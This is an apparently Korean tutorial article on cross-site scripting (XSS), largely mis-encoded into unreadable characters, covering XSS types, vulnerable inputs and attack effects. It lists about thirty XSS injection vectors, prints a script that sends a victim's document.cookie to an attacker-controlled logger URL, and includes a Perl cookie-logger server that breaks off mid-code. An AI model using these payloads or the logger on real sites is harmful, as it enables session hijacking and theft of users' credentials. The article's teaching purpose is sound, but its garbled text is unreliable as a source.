[Áöµð³ÝÄÚ¸®¾Æ]À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº °è¼Ó º¹ÀâÇØÁö°í ÀÖ´Ù. ±×°Íµµ ¸¹Àº ÁÖüµé¿¡ ÀÇÇØ¼ »õ·Î¿î Ç¥ÁØÀ» ¸¸µé¾î°¡¸é¼ ¸»ÀÌ´Ù. ±×¸®°í ±× °úÁ¤¿¡¼ º¸¾ÈÀº ¹«½ÃµÇ±â ½±´Ù. ¿©±â¼ ¼³¸íÇÏ·Á°í ÇÏ´Â XSS(Cross Site Scripting)°¡ ÀüÇüÀûÀÎ ¿¹´Ù. º° °Íµµ ¾Æ´Ñ ¹ö±×°¡ ³Ê¹«³ªµµ ±¤¹üÀ§ÇÏ°Ô Á¸ÀçÇØ¼ ½±»ç¸® Á¦°ÅÇϱ⵵ Èûµç Áö°æ¿¡ À̸£·¶´Ù. ÀÏÁ¾ÀÇ Àü½Å¿¡ ÆÛÁø ¾Ïó·³ XSS°¡ ¾ø´Â À¥ ÆäÀÌÁö¿¡´Â ¡®XSS Free¡¯ ¸¶Å©¶óµµ ¸¸µé¾î¼ ºÙ¿©Áà¾ß ÇÏ´Â °ÍÀÌ ¾Æ´Ñ°¡ »ý°¢µÈ´Ù.

¾î¶² ºÐ¾ßÀ̵ç Àü¹®È°¡ ÀÌ·ïÁö¸é Àü¹®ÈµÈ ¿ë¾î¸¦ °®°Ô µÇ´Âµ¥ XSS´Â À¥ ¾ÖÇø®ÄÉÀÌ¼Ç ÇØÅ·À» ÇÏ´Â »ç¶÷µéÀÌ »ç¿ëÇÏ´Â Àü¹® ¿ë¾î·Î¼ ±× ´Ü¾î ÀÚüÀÇ Àǹ̴ ±×·¸°Ô Áß¿äÇÏÁö ¾Ê´Ù.
´ÜÁö XSS°¡ ¹«¾ùÀÎÁö¸¸ ÀÌÇØÇÏ¸é µÇ´Â °ÍÀÌ´Ù. ÀÇ»çµéÀÌ ¾²´Â Àü¹® ¿ë¾î¸¦ º¸¸é¼ ¿Ö ±×·¸°Ô ¾î·Á¿î ¿ë¾î¸¦ »ç¿ëÇÒ±î »ý°¢ÇØ º» ÀûÀÌ ÀÖÀ» °ÍÀÌ´Ù. ÇÊÀÚÀÇ °æ¿ì °í¹Î ÈÄ¿¡ ¾òÀº °á·ÐÀº ¡®±×³É ¾î¼´Ù º¸´Ï±î ±×·¸°Ô µÇ¾úÀ» °ÍÀÌ´Ù¡¯¶ó´Â °ÍÀÌ´Ù. XSS ¶ÇÇÑ ±×³É ¾î¼´Ù º¸´Ï ºÙ¿©Áø À̸§À¸·Î ¾ö¹ÐÈ÷ ¸»Çؼ ±×·¸°Ô Á¤È®ÇÑ ¿ë¾î´Â ¾Æ´Ï´Ù.
¼¼»óÀº º¸¾ÈÀÇ Ãø¸é¿¡¼ º¸¾ÒÀ» ¶§¿¡ ÀǿܷΠÇã¼úÇÑ ±¸¼®ÀÌ ¸¹´Ù. »ç½Ç º¸¾ÈÀ̶ó´Â °³³äÀº ¾ÆÁÖ ÀÏ»óÀûÀÎ °³³äÀÌ´Ù. º¸¾ÈÀÇ ½ÃÀÛÀº »çÀû ¼ÒÀ¯¿¡¼ºÎÅÍ ½ÃÀ۵Ǵµ¥ ÀÚ½ÅÀÇ ¼ÒÀ¯¹°À» ŸÀÎÀ¸·ÎºÎÅÍ ÁöŰ·Á´Â ÇàÀ§¸¦ ÀǹÌÇÏ´Â °Í °°´Ù. ÇÏÁö¸¸ Çö½Ç ¼¼°è¿¡¼ ÀÌ·¯ÇÑ º¸¾ÈÀÇ °³³äÀº ÇüÆí¾øÀÌ ±¸ÇöµÇ¾î ÀÖ´Ù.
À¢¸¸ÇÑ ÀÚµ¿Â÷´Â 30ÃÊ ³»¿¡ ¹®ÀÌ ¿¸®°í »ç½Ç °¡Á¤¸¶´Ù ¼³Ä¡µÈ ÀÚ¹°¼è´Â À̷лóÀ¸·Î ¿¸± ¼ö¹Û¿¡ ¾ø´Â ±¸Á¶´Ù. ±×¸®°í º®À¸·Î ¸·±â Èûµç ÀüÀÚÆÄµé¿¡ ÀÇÇÑ Á¤º¸ À¯Ãâµµ ÀÖÀ¸¸ç ¹«¼±·£¿¡ ÀÇÇÑ º¸¾È¼ºÀÇ »ó½ÇÀÌ ÀÖÀ» ¼öµµ ÀÖ´Ù. ÀÌ·¸°Ô Çã¼úÇÑ º¸¾È¼ºÀÇ »ó½ÇÀ» ÀÏÀ¸Å°´Â ¿©·¯ ¿ä¼Òµé°ú ¾î±ú¸¦ ³ª¶õÈ÷ ÇÒ ¸¸ÇÑ ¹®Á¦°¡ ¹Ù·Î ¡®XSS¡¯ÀÌ´Ù. À̸¸Å ÆÄ±Þ È¿°ú°¡ Å« ¹®Á¦ÀÌ´Ï ¸¸Å µ¶ÀÚµé ´ëºÎºÐÀº XSS¶ó´Â ¹®Á¦¸¦ ÀÌ¹Ì ¸î ¹øÀº °æÇèÇØ ºÃÀ» °ÍÀÌ´Ù.
XSSÀÇ Á¤ÀÇ
¸ÕÀú °ø½ÄÀûÀÎ XSSÀÇ Á¤ÀǺÎÅÍ ¾Ë¾Æº¸±â·Î ÇÑ´Ù. ¾ÇÀÇÀûÀÎ »ç¿ëÀÚ°¡ ¸¸µç, µ¿ÀûÀ¸·Î »ý¼ºµÇ´Â À¥ ÆäÀÌÁö¿¡¼ ¾ÇÀÇÀûÀÎ HTML ű׳ª ½ºÅ©¸³Æ®°¡ Æ÷Ç﵃ ¼ö ÀÖ´Ù. XSS´Â À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ Ŭ¶óÀÌ¾ðÆ®·ÎºÎÅÍ ¾ÇÀÇÀûÀÎ µ¥ÀÌÅ͸¦ ¹Þ¾ÆµéÀÏ ¶§¿¡ ¹ß»ýÇÒ ¼ö ÀÖ´Ù. ÀÌ·¸°Ô ¹Þ¾Æµé¿©Áø µ¥ÀÌÅÍ´Â ´Ù¸¥ Ŭ¶óÀÌ¾ðÆ®°¡ ±× ÆäÀÌÁö¿¡ Á¢±ÙÇÒ °æ¿ì¿¡ Àü´Þ µÇ°Ô µÇ°í, ÀÌ Å¬¶óÀÌ¾ðÆ®´Â Á¤»óÀûÀÎ µ¥ÀÌÅÍ·Î ÀνÄÇÏ°í ±× ³»¿ëÀ» ÀÎÅÍÇÁ¸®Æ®(interpret)ÇÏ°Ô µÈ´Ù. Áï, À¥ ¾ÖÇø®ÄÉÀ̼ÇÀ» ¸Å°³·Î ÇÏ¿© ´Ù¸¥ »ç¿ëÀÚÀÇ ºê¶ó¿ìÀú¿¡¼ ½ºÅ©¸³Æ® ½ÇÇàÀÌ °¡´ÉÇØÁö´Â °ÍÀÌ´Ù.
°á°úÀûÀ¸·Î DOM(Document Object Model) security restrictionsÀ» °Ç³Ê¶Ù¾î ¸í·É ½ÇÇàÀÌ °¡´ÉÇØÁø´Ù. DOMÀº ½ºÅ©¸³Æ®°¡ µ¿Àû À¥ ÄÁÅÙÃ÷¿¡ ¼öÁ¤À» °¡ÇÏ´Â µ¥¿¡ ´ëÇÑ °³³äÀûÀÎ ÇÁ·¹ÀÓ¿öÅ©·Î¼ À¥ ºê¶ó¿ìÀúÀÇ º¸¾È ¼ÂÆÃ¿¡ ÀÇÇØ ±¸ÇöµÇ¾î ÀÖ´Ù(http://www.w3.org/DOM/). ÀÌ·¯ÇÑ Å±׳ª ½ºÅ©¸³Æ®´Â À¥ ¼¹ö°¡ ÀÔ·ÂÀ̳ª Ãâ·ÂÀ» Á¦´ë·Î ÇÊÅ͸µÇÏÁö ¸øÇÒ °æ¿ì¿¡ ÀǵµÇÏÁö ¾ÊÀº ½ºÅ©¸³Æ®¸¦ ½ÇÇàÇϵµ·Ï ÇÒ ¼ö ÀÖ´Ù.
´ëºÎºÐÀÇ À¥ ºê¶ó¿ìÀúµéÀº À¥ ÆäÀÌÁö¿¡ »ðÀÔµÈ ½ºÅ©¸³Æ®¸¦ ÇØ¼®ÇÏ°í ½ÇÇàÇÒ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ ½ºÅ©¸³Æ®´Â ÀÚ¹Ù½ºÅ©¸³Æ®³ª VB½ºÅ©¸³Æ®·Î Â¥¿©Áø °æ¿ì°¡ ¸¹´Ù. ÃÖ±Ù¿¡ ÀÌ·¯ÇÑ ½ºÅ©¸³Æ®´Â À¥ÀÇ Çʼö ±¸¼º¿ä¼Ò°¡ µÇ¾î ÀÖ¾î¼ À¥ ºê¶ó¿ìÀú´Â µðÆúÆ®·Î ÀÌ·¯ÇÑ ½ºÅ©¸³Æ®¸¦ ½ÇÇàÇϵµ·Ï ÇØ³õ´Â´Ù. XSS´Â Å©·Î½º-Ç÷§ÆûÇÑ ¹®Á¦ÀÌ°í º¹ÀâÇÏ°Ô ¿¬°áµÈ ½Ã½ºÅÛµéÀÇ ¿©·¯ ±¸¼º¿ä¼Ò »çÀÌÀÇ ¿¹»óÇϱ⠾î·Á¿î »óÈ£ÀÛ¿ë¿¡ ÀÇÇØ¼ ¹ß»ýÇÑ´Ù.
XSS´Â Cross Site ScriptingÀÇ Áظ»ÀÌ´Ï ¾Õ¿¡¼ ¾ð±ÞÇßµíÀÌ ¿ë¾î ÀÚü´Â ÀÌ·¯ÇÑ Çö»ó¿¡ ´ëÇÑ ÀûÀýÇÑ Ç¥ÇöÀº ¾Æ´ÏÁö¸¸ Ãʱ⿡ ÀÌ ¿ë¾î·Î ±»¾îÁ®¼ »ç¿ëÇϰí ÀÖ´Ù. ÀÌ ¹®Á¦ÀÇ ÇÙ½ÉÀº µ¿Àû ÆäÀÌÁö¿¡¼ º¸¿©Áö´Â ÆäÀÌÁö¿¡ ½Å·ÚÇÒ ¼ö ¾ø´Â ³»¿ëÀÌ µé¾î°¥ ¼ö ÀÖ´Ù´Â Á¡ÀÌ´Ù. XSS°¡ ¹ß»ýÇÏ¸é ¼¹ö³ª Ŭ¶óÀÌ¾ðÆ® ¾çÀÚ ¸ðµÎ ÀÌ ¹®Á¦°¡ ¹ß»ýÇß´ÂÁö¿¡ ´ëÇØ ÀÎÁöÇÏ±â ¾î·Æ°í µû¶ó¼ ¹æ¾îÇϱ⵵ Èûµé´Ù. ÀÌ·¯ÇÑ ½ºÅ©¸³Æ®´Â ºÎÀûÀýÇÑ ½ÃÅ¥¸®Æ¼ ÄÁÅØ½ºÆ®(security context)¿¡¼ ºÎÀûÀýÇÑ ±ÇÇÑÀ¸·Î ½ÇÇàµÈ´Ù.
°ø°Ý ´ë»ó
»ç¿ëµÇ´Â ű×
ű׸¦ »ç¿ëÇØ ½ºÅ©¸³Æ® ½ÇÇàÀÌ ÀÌ·ïÁö°Ô µÈ´Ù. <Ç¥ 1>°ú °°Àº ű׵éÀ» »ç¿ëÇØ ½ºÅ©¸³Æ®¸¦ ½ÇÇà½Ãų ¼ö ÀÖ´Ù. À¥ °ø°ÝÀÚµéÀÌ °¡Àå Áñ°Ü »ç¿ëÇϴ ű״ ¿ª½Ã <script> ű×ÀÌ´Ù.
´ë»ó ½ºÅ©¸³Æ®³ª ¾ð¾î
´ÙÀ½°ú °°Àº ½ºÅ©¸³Æ®³ª ¾ð¾î°¡ °ø°Ý ´ë»óÀÌ µÈ´Ù.
¡ß JavaScript
¡ß VBScript
¡ß ActiveX
¡ß HTML
¡ß Flash
Ãë¾àÇÑ ÄÚµåµé
´ÙÀ½°ú °°Àº ÄÚµåµé¿¡¼ ÁÖ·Î XSS¸¦ ãÀ» ¼ö ÀÖ´Ù. »ç½Ç ƯÁ¤ÇÑ À¯ÇüÀÌ ÀÖ´Â °ÍÀº ¾Æ´ÏÁö¸¸ ¿¡·¯ ¸Þ½ÃÁö Ãâ·Â ºÎºÐÀ̳ª °Ô½ÃÆÇ ¾Æ´Ï¸é »ç¿ëÀÚÀÇ Á¤º¸¸¦ ÀÔ·ÂÇØ ´Ù½Ã º¸¿©ÁÖ´Â ºÎºÐ µîÀÌ ÁÖ·Î Ãë¾àÇÑ ºÎºÐÀÌ µÉ °æ¿ì ¸¹´Ù. ƯÈ÷ »ç¿ëÀÚ µîÀÌ À¥ »çÀÌÆ®ÀÇ °í°´ ºÒ¸¸ ¼¾ÅÍ µîÀ» ÀÌ¿ëÇÒ ¼ö ÀÖ°Ô ÇØµ×À» °æ¿ì XSS¸¦ ¹Ù·Î °ü¸®ÀÚ¿¡°Ô ³¯¸± ¼ö ÀÖ´Â ÃÖ¾ÇÀÇ »çŰ¡ ¹ú¾îÁö±âµµ ÇÑ´Ù.
¡ß CGI scripts
¡ß search engines
¡ß interactive bulletin boards
¡ß custom error pages
ÀÌ·¯ÇÑ ÄÚµåÀÇ ´ÙÀ½°ú °°Àº ÀÔ·Â ºÎºÐ¿¡¼ XSS°¡ ÁÖ·Î ¹ß»ýÇÑ´Ù. À¥ »çÀÌÆ®¸¦ ¼º£ÀÌÇÒ ¶§¿¡ °ø°ÝÀÚµéÀÌ ´«¿©°Ü º¸´Â ºÎºÐÀÌ´Ù.
¡ß URL parameters
¡ß Form elements
¡ß Cookies
¡ß Databases queries
XSSÀÇ µÎ °¡Áö À¯Çü
XSS¿¡´Â client-to-client¿Í client-to-itself ¹æ½ÄÀÇ µÎ °¡Áö À¯ÇüÀÌ Á¸ÀçÇÑ´Ù.
client-to-client ¹æ½Ä
ù° client-to-client ¹æ½ÄÀº ÇÑ Å¬¶óÀÌ¾ðÆ®¿¡¼ ´Ù¸¥ Ŭ¶óÀÌ¾ðÆ®·Î ¾ÇÀÇÀûÀÎ Äڵ尡 Àü´ÞµÇ´Â °ÍÀÌ´Ù. °Ô½ÃÆÇ¿¡ ±ÛÀ» ¾´´ÙµçÁö ÇÏ´Â ¹æ½ÄÀ¸·Î ¾ÇÀÇÀûÀÎ Äڵ带 Àü´ÞÇÒ ¼ö ÀÖ´Ù. BBS³ª ¸Þ½Ã¡ ½Ã½ºÅÛ µî¿¡ ´ÙÀ½°ú °°ÀÌ ½ºÅ©¸³Æ®°¡ Æ÷ÇÔµÈ ³»¿ëÀ» Æ÷½ºÆÃÇÒ °æ¿ì¿¡ ÀÌ ½ºÅ©¸³Æ®¸¦ ÇÊÅ͸µÇÏÁö ¾ÊÀ» °æ¿ì¿¡ ¹ß»ýÇÑ´Ù.
Hello message board. This is a message.
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.
 |
| <±×¸² 1> client-to-client ¹æ½Ä |
client-to-itself ¹æ½Ä
¶Ç Çϳª´Â client-to-itself ¹æ½ÄÀÌ´Ù. ¾ÇÀÇÀûÀÎ Äڵ尡 °ø°Ý ´ë»óÀÌ µÇ´Â Ŭ¶óÀÌ¾ðÆ® ÀÚ½ÅÀÌ º¸³»¼ ÀÚ½ÅÀÌ µÇµ¹·Á ¹Þ´Â À¯ÇüÀÌ´Ù. ÀÌ·¯ÇÑ ÇüÅÂÀÇ °ø°ÝÀº ÁÖ·Î À̸ÞÀÏÀ̳ª À¥ ÆäÀÌÁö¸¦ ÅëÇØ ¸µÅ©¸¦ Á¦½ÃÇÏ°í »ç¿ëÀÚ°¡ ±×·¯ÇÑ ¸µÅ©¸¦ Ŭ¸¯Çϵµ·Ï À¯µµÇÏ´Â ¹æ½ÄÀ¸·Î ÀÌ·ïÁø´Ù.
[1] ¸Å°³Ã¼
- À̸ÞÀÏÀ̳ª ´º½º±×·ìÀÇ ¸Þ½ÃÁö¸¦ ½Å·ÚÇÒ¼ö ¾ø´Â ¸µÅ©µé
- ´Ù¸¥ À¥ »çÀÌÆ®³ª À¥ º¸µå, ÀνºÅÏÆ® ¸Þ½ÃÁö·ÎºÎÅÍÀÇ ¸µÅ©
- ¾ÇÀÇÀûÀÎ Äڵ尡 Æ÷ÇÔµÈ ÇÏÀÌÆÛ¸µÅ©ÀÇ ÇüÅ·ΠÀü´ÞµÈ´Ù.
- °ø°ÝÀÚ´Â ¾ÇÀÇÀûÀÎ Äڵ带 ÀÎÄÚµùÇØ¼ º¸³»¹Ç·Î ½±°Ô ½Äº°ÇϱⰡ Èûµé°í, »ç¿ëÀÚ°¡ Ŭ¸¯ÇÒ È®·üÀÌ ³ô¾ÆÁø´Ù.
 |
| <±×¸² 2> client-to-itself ¹æ½Ä |
[2] ÀÚµ¿È
»ç¿ëÀÚÀÇ °³ÀÔÀ» ÃÖ¼ÒÈÇϱâ À§ÇØ ´ÙÀ½°ú °°Àº ÀÚµ¿È ű׸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù.
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script>
°ø°Ý ¹æ¹ý
±âº»ÀûÀ¸·Î ´ÙÀ½°ú °°Àº °ø°ÝµéÀÌ °¡´ÉÇÏ´Ù. °ø°ÝÀÚ°¡ »ç¿ëÀÚ¿Í À¥ »çÀÌÆ® »çÀÌÀÇ »óÈ£ÀÛ¿ëÀ» ÅëÁ¦ÇÒ ¼ö ÀÖ´Ù.
[1] ÆäÀÌÁöÀÇ ¸ð¾ç ¹Ù²Ù±â
À̹ÌÁö³ª »ç¿îµå¸¦ »ðÀÔÇÒ ¼ö ÀÖ´Ù.
[2] SSL ¾ÏÈ£È Ä¿³Ø¼Ç ³ëÃâ
SSL ÆäÀÌÁö¿¡ ´ëÇØ¼ XSS¸¦ »ç¿ëÇØ ÀÏ¹Ý À¥ ¼¹ö¿¡¼ ¸¶Âù°¡Áö °ø°ÝÀÌ °¡´ÉÇÏ´Ù. ¿ø·¡ À¥ ºê¶ó¿ìÀú´Â SSL ÆäÀÌÁö¿¡¼ SSL ¹Ì»ç¿ë ÆäÀÌÁö¸¦ Á¢±ÙÇÒ °æ¿ì °æ°í ¸Þ½ÃÁö°¡ ¶ß´Âµ¥, °ø°ÝÀÚÀÇ À¥ ¼¹ö¸¦ SSL »ç¿ë À¥ ¼¹ö·Î ¹Ù²Ù¸é ÀÌ·¯ÇÑ °æ°í ¸Þ½ÃÁöµµ ¾ø¾Ù ¼ö ÀÖ´Ù.
[3] ÄíŰ º¯Çü½Ã۱⸦ ÅëÇØ °ø°ÝÀ» Áö¼Ó½Ãų ¼ö ÀÖ´Ù.
ÄíŰ ÀÚü¸¦ º¯Çü½ÃÄѼ ÄíŰ¿¡ ¾ÇÀÇÀûÀÎ Äڵ带 ³Ö¾îµÑ ¼öµµ ÀÖ´Ù. ÀÌ·¸°Ô º¯ÇüµÈ ÄíŰ´Â ÀÌÈÄ¿¡ Áö¼ÓÀûÀÎ °ø°ÝÀÌ °¡´ÉÇÏ°Ô ÇØÁØ´Ù.
[4] Á¦ÇÑµÈ À¥ »çÀÌÆ® Á¢±Ù
¾ÇÀÇÀûÀÎ URLÀ» »ý¼ºÇÔÀ¸·Î½á »ç¿ëÀÚÀÇ ÀÎÆ®¶ó³Ý¿¡ ÀÖ´Â µ¥ÀÌÅ͸¦ À¯Ãâ½Ãų ¼ö ÀÖ´Ù. Ŭ¶óÀÌ¾ðÆ®´Â ÀÎÆ®¶ó³Ý¿¡ ´ëÇØ¼ ¿ÏÀüÇÑ Á¢±ÙÀÌ °¡´ÉÇÑ °æ¿ì°¡ ¸¹´Ù. Ŭ¶óÀÌ¾ðÆ®°¡ XSS °ø°ÝÀ» ´çÇϸé ÀÌ·¯ÇÑ ÀÎÆ®¶ó³ÝÀÇ µ¥ÀÌÅÍ¿¡ ´ëÇÑ Á¢±Ùµµ ¼Õ½¬¿öÁø´Ù.
[5] DOM ±â¹Ý º¸¾È Á¤Ã¥ À§¹Ý °¡´É
À¥ ºê¶ó¿ìÀú¿¡ ƯÁ¤ »çÀÌÆ®¿¡ ´ëÇØ¼¸¸ ½ºÅ©¸³Æ® ½ÇÇà ±ÇÇÑÀÌ ÀÖ´Ù¸é XSS¸¦ ÅëÇØ¼ ÀÌ·¯ÇÑ Á¤Ã¥À» À§¹ÝÇÒ ¼ö ÀÖ´Ù. ¾ÇÀÇÀûÀÎ ½ºÅ©¸³Æ® ű׸¦ ¼¹ö·Î º¸³»°í ´ë»ó Ŭ¶óÀÌ¾ðÆ®°¡ ÀÌ¿¡ ´ëÇØ¼ Á¢±ÙÇÑ´Ù¸é DOM º¸¾È Á¤Ã¥Àº ¹«¿ëÁö¹°ÀÌ µÈ´Ù. À¥ ÆäÀÌÁö ³»ÀÇ ÆÐ½º¿öµå³ª Å©·¹µðÆ® Ä«µå ¹øÈ£¿Í °°Àº ¹Î°¨ÇÑ Á¤º¸¸¦ À¯Ãâ½Ãų ¼ö ÀÖ´Ù. »ç¿ëÀÚ¸¦ ¼ÓÀÌ°í µ¥ÀÌÅ͸¦ ¼öÁýÇÒ ¼ö ÀÖ´Ù. °èÁ¤ ÇÏÀÌÀçÅ·(hijacking), »ç¿ëÀÚ ¼¼ÆÃ º¯°æ, ÄíŰ ÈÉÄ¡±â, ÄíŰ º¯Çü½Ã۱â, À߸øµÈ Á¤º¸ º¸¿©Áֱ⠵îÀÌ °¡´ÉÇÏ´Ù. DOS °ø°Ýµµ °¡´ÉÇÏ´Ù(http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html).
[6] Àß »ç¿ëÇÏÁö ¾Ê´Â ¹®ÀÚ ¼ÂÀ» »ç¿ëÇÏ¸é ¹®Á¦¸¦ ´õ È®´ë½Ãų ¼ö ÀÖ´Ù.
ºê¶ó¿ìÀú´Â À¥ ÆäÀÌÁö¿¡ ¹®ÀÚ ¼Â¿¡ ´ëÇÑ Á¤º¸¸¦ ÁöÁ¤ÇØ µÎÁö ¾ÊÀ¸¸é ±âº»ÀûÀÎ ¹®ÀÚ ¼ÂÀ» »ç¿ëÇÑ´Ù. ¹®ÀÚ¿ÀÇ ºÒÀÏÄ¡·Î ÀÎÇØ¼ Ư¼ö ¹®ÀÚ°¡ ¼·Î ´Ù¸£°Ô ÇØ¼®µÇ¾î ¹®Á¦°¡ ¹ß»ýÇÒ ¼ÒÁö°¡ ÀÖ´Ù.
[7] ÆûÀÇ Çൿ ¹æ½ÄÀ» ¹Ù²Ü ¼ö ÀÖ´Ù.
ƯÁ¤ÇÑ Á¶°Ç¿¡¼ °ø°ÝÀÚ´Â ÆûÀÇ Çൿ ¹æ½Ä°ú °á°ú°¡ ¾î¶»°Ô ¼ºê¹Ô(submit)µÉ Áö¿¡ ´ëÇÑ ¹æ½ÄÀ» º¯Çü½Ãų ¼ö ÀÖ´Ù.
ÄíŰ ÈÉÄ¡±â
¿©·¯ °ø°Ý ¹æ¹ý Áß¿¡¼ °¡Àå Èï¹Ì¸¦ ²ô´Â °Í ÁßÀÇ Çϳª°¡ ¹Ù·Î ¡®ÄíŰ ÈÉÄ¡±â¡¯ÀÌ´Ù. ´©°¡ °úÀÚ È¸»ç¸¦ »ó´ë·Î ¹«½¼ Äí۸¦ ÈÉÄ¡·Á°í ÇØÅ·ÇÏ´Â °ÍÀΰ¡ ÇÏ´Â »ý°¢ÀÌ µé °ÍÀÌ´Ù. Äí۶ó´Â °ÍÀº ÀÏÁ¾ÀÇ ÀνÄÇ¥¶ó°í ÇÒ ¼ö ÀÖ´Ù. À¥ ºê¶ó¿ìÀú´Â À¥ ¼¹ö·ÎºÎÅÍ Äí۸¦ ¹èÆ÷¹Þ°Ô µÈ´Ù.
Á¦´ë·Î µÈ Äí۶ó¸é ´Ù¸¥ À¥ ºê¶ó¿ìÀúµéÀÌ °°Àº Äí۸¦ ¹ÞÀ» ÀÏÀº ¾øÀ» °ÍÀÌ´Ù. ÁøÂ¥ Á¦´ë·Î µÈ Äí۶ó¸é °íÀ¯Çϸ鼵µ ·£´ýÇÑ ¹®ÀÚ¿ÀÇ ÇüŸ¦ °¡Áö¸é¼ Àΰ£ÀÌ ¾Ë¾Æº¼ ¼ö ÀÖ´Â Á¤º¸´Â ÀúÀåÇÏÁö ¾Ê°Ô µÈ´Ù. ÀÌ·¯ÇÑ Äí۸¦ ¼¼¼Ç ¾ÆÀ̵ð¶ó°íµµ ºÎ¸¥´Ù. ¾î·µç ÀÌ Äí۸¸ ÈÉÄ£´Ù¸é »ó´ëÆí À¥ ºê¶ó¿ìÀúÀÇ ±ÇÇÑÀ» ¸ðÁ¶¸® Çà»çÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î »ó´ëÆí »ç¿ëÀÚÀÇ ¾ÆÀ̵𳪠ÆÐ½º¿öµå¸¦ ¸ô¶óµµ ±× °èÁ¤À¸·Î ·Î±×ÀÎÇÑ »óÅ·Πµé¾î°¥ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù.
ÈÉÄ¡±â ±â¼ú
»ç¿ëÀÚÀÇ Äí۸¦ ÈÉÃij»´Â ±â¼úÀÌ´Ù. document.cookie ¿ÀºêÁ§Æ®¸¦ ÀÚ¹Ù½ºÅ©¸³Æ®·Î ÀÐ¾î¼ °ø°ÝÀÚ°¡ ÁöÁ¤ÇÑ À§Ä¡ÀÇ cgi¿¡ Àü´ÞÇÑ´Ù. DOM security ¼¼ÆÃÀ» °Ç³Ê¶Ù¾î »ç¿ëÀÚÀÇ ÄíŰ¿¡ Á¢±ÙÀÌ °¡´ÉÇÑ Á¡À» ÀÌ¿ëÇØ¼ »ç¿ëÀÚÀÇ Äí۸¦ °ø°ÝÀÚ°¡ ÁöÁ¤ÇÑ ¼¹ö·Î Àü¼ÛÇÒ ¼ö ÀÖ´Ù.
ÄíŰ ÈÉÄ¡±â¿¡ »ç¿ëµÇ´Â ½ºÅ©¸³Æ®
´ÙÀ½°ú °°Àº XSS ½ºÅ©¸³Æ®¸¦ »ç¿ëÇϸé ÇØ´ç ÆäÀÌÁö¿¡¼ÀÇ °ø°Ý ´ë»óÀÇ ÄíŰ¿Í ÇØ´ç URLÀ» Àü¼Û¹ÞÀ» ¼ö ÀÖ°Ô µÈ´Ù.
<script>document.location.replace
('http://<Äí۷ΰÅÀÇ URL>/cookie.cgi?'+document.cookie+'&'+document.URL);
</script>
ÄíŰ ·Î°Å
Äí۸¦ ¸®¸ðÆ®¿¡¼ »©³»±â À§ÇÑ ·Î°Å(logger)ÀÌ´Ù. Perl·Î ÀÛ¼ºµÇ¾î ÀÖ°í Á¦´ë·Î ÀÛµ¿Çϱâ À§Çؼ´Â ÀÎÀÚ¸¦ Á¦´ë·Î ³Ñ°ÜÁÖ¾î¾ß ÇÑ´Ù. ù ¹øÂ° ÀÎÀÚ´Â ¹ÙÀεùÇÒ Æ÷Æ®ÀÌ°í µÎ ¹øÂ° ÀÎÀڴ Ŭ¶óÀÌ¾ðÆ®¸¦ ¸®´ÙÀÌ·º¼Ç½Ãų ÆäÀÌÁöÀÌ´Ù. ±×·² µíÇÑ ÆäÀÌÁö·Î ¸®´ÙÀÌ·º¼Ç½ÃŲ´Ù¸é »ç¿ëÀÚ´Â XSS°¡ ÀÏ¾î³ »ç½ÇÁ¶Â÷ ¸ð¸¦ ¼öµµ ÀÖ´Ù.
| |
#!/usr/bin/perl
#
# mat@monkey.org
# 2002.7.27
my $debug=1;
printf "Starting log_request...\r\n";
printf " <mat\@monkey.org>\r\n";
my $http_moved_response_header="HTTP/1.1 301 Moved\r\nServer: Apache/1.3.9 (Unix) Debian\/GNU\r\nAccept-Ranges: bytes\r\nConnection: close\r\nLocation: %s\r\nContent-Type: text\/html; charset=iso-8859-1\r\n\r\n";
my $http_response_header="HTTP/1.1 200 OK\r\nServer: Apache/1.3.9 (Unix) Debian\/GNU\r\nAccept-Ranges: bytes\r\nConnection: close\r\nContent-Type: text\/html; charset=iso-8859-1\r\n\r\n";
my $target_message="<html>
<body>
</body>
</html>";
require 5.002;
use Socket;
use Carp;
sub spawn;
my $port=8020;
if($ARGV[0] ne "")
{
$port=$ARGV[0];
}
my $redirection_page="http://www.yahoo.co.kr";
if($ARGV[1] ne "")
{
$redirection_page=$ARGV[1];
}
my $proto=getprotobyname('tcp');
socket(Server,PF_INET,SOCK_STREAM,$proto) || die "socket: $!";
setsockopt(Server,SOL_SOCKET,SO_REUSEADDR,pack("l",1)) || die "setsockopt: $!";
bind(Server,sockaddr_in($port,INADDR_ANY)) || die "bind: $!";
listen(Server,SOMAXCONN) || die "listen: $!";
printf "Listening on $port...\n";
printf "Redirecting to $redirection_page\n";
my $waitedpid=0;
my $paddr;
sub REAPER {
$waitedpid=wait;
$SIG{CHLD}=\&REAPER;
}
$SIG{CHLD}=\&REAPER;
my $logfile="log_request_log.txt";
open(LOGFILE,">>$logfile") || die "open failed [$logfile]\n"
for($waitedpid=0;($paddr=accept(Client,Server))||$waitedpid;$waitedpid=0,close Client)
{
next if $waitedpid and not $paddr;
my ($port,$iaddr)=sockaddr_in($paddr);
my $addr_str=inet_ntoa($iaddr);
my $name=gethostbyaddr($iaddr,AF_INET);
if($debug>0)
{
printf "got connection: $name: $addr_str\n";
}
